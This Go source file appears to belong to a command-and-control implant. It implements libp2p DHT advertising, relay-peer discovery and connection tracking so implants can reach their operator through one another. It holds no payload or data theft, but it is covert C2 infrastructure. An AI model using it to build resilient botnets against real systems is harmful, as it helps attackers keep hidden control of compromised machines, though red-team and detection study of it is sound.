package core

import (
	"context"
	"log"
	"time"

	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
)

type relayPeerInfo struct {
	peerID    peer.ID
	connected bool
	lastSeen  time.Time
	failCount int
}

func (a *Agent) relayRendezvous() string {
	return a.node.RelayRendezvousString(a.messenger.OperatorID())
}

func (a *Agent) advertiseRelayLoop(ns string) {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in advertiseRelayLoop: %v", r)
		}
	}()

	if !a.node.WaitForDHT(a.ctx) {
		return
	}

	for {
		if err := a.node.AdvertiseRelay(a.ctx, ns); err != nil {
			log.Printf("[implant] relay advertise: %v", err)
		}
		select {
		case <-a.ctx.Done():
			return
		case <-time.After(60 * time.Second):
		}
	}
}

func (a *Agent) discoverRelaysLoop(ns string) {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in discoverRelaysLoop: %v", r)
		}
	}()

	if !a.node.WaitForDHT(a.ctx) {
		return
	}

	opID := a.messenger.OperatorID()
	for {
		peers, err := a.node.FindRelayPeers(a.ctx, ns, 16)
		if err != nil {
			log.Printf("[implant] find relay peers: %v", err)
			goto sleep
		}
		for _, pi := range peers {
			if pi.ID == a.node.ID() || pi.ID == opID {
				continue
			}
			a.relayMu.RLock()
			existing := a.relayPeers[pi.ID]
			a.relayMu.RUnlock()
			if existing != nil && existing.connected {
				continue
			}
			connCtx, cancel := context.WithTimeout(a.ctx, 10*time.Second)
			err := a.node.ConnectToPeer(connCtx, pi)
			cancel()
			now := time.Now()
			if err != nil {
				log.Printf("[implant] relay connect %s: %v", pi.ID.String(), err)
				a.relayMu.Lock()
				if rp, ok := a.relayPeers[pi.ID]; ok {
					rp.failCount++
					rp.lastSeen = now
				} else {
					a.relayPeers[pi.ID] = &relayPeerInfo{
						peerID:    pi.ID,
						connected: false,
						lastSeen:  now,
						failCount: 1,
					}
				}
				a.relayMu.Unlock()
				continue
			}
			log.Printf("[implant] connected to relay peer %s", pi.ID.String())
			a.relayMu.Lock()
			a.relayPeers[pi.ID] = &relayPeerInfo{
				peerID:    pi.ID,
				connected: true,
				lastSeen:  now,
			}
			a.relayMu.Unlock()
		}

		a.relayMu.Lock()
		for id, rp := range a.relayPeers {
			if rp.connected {
				cs := a.node.Host.Network().Connectedness(id)
				if cs != network.Connected && cs != network.Limited {
					rp.connected = false
					rp.failCount++
					log.Printf("[implant] relay peer %s disconnected", id.String())
				}
			}
		}
		a.relayMu.Unlock()

	sleep:
		select {
		case <-a.ctx.Done():
			return
		case <-time.After(30 * time.Second):
		}
	}
}
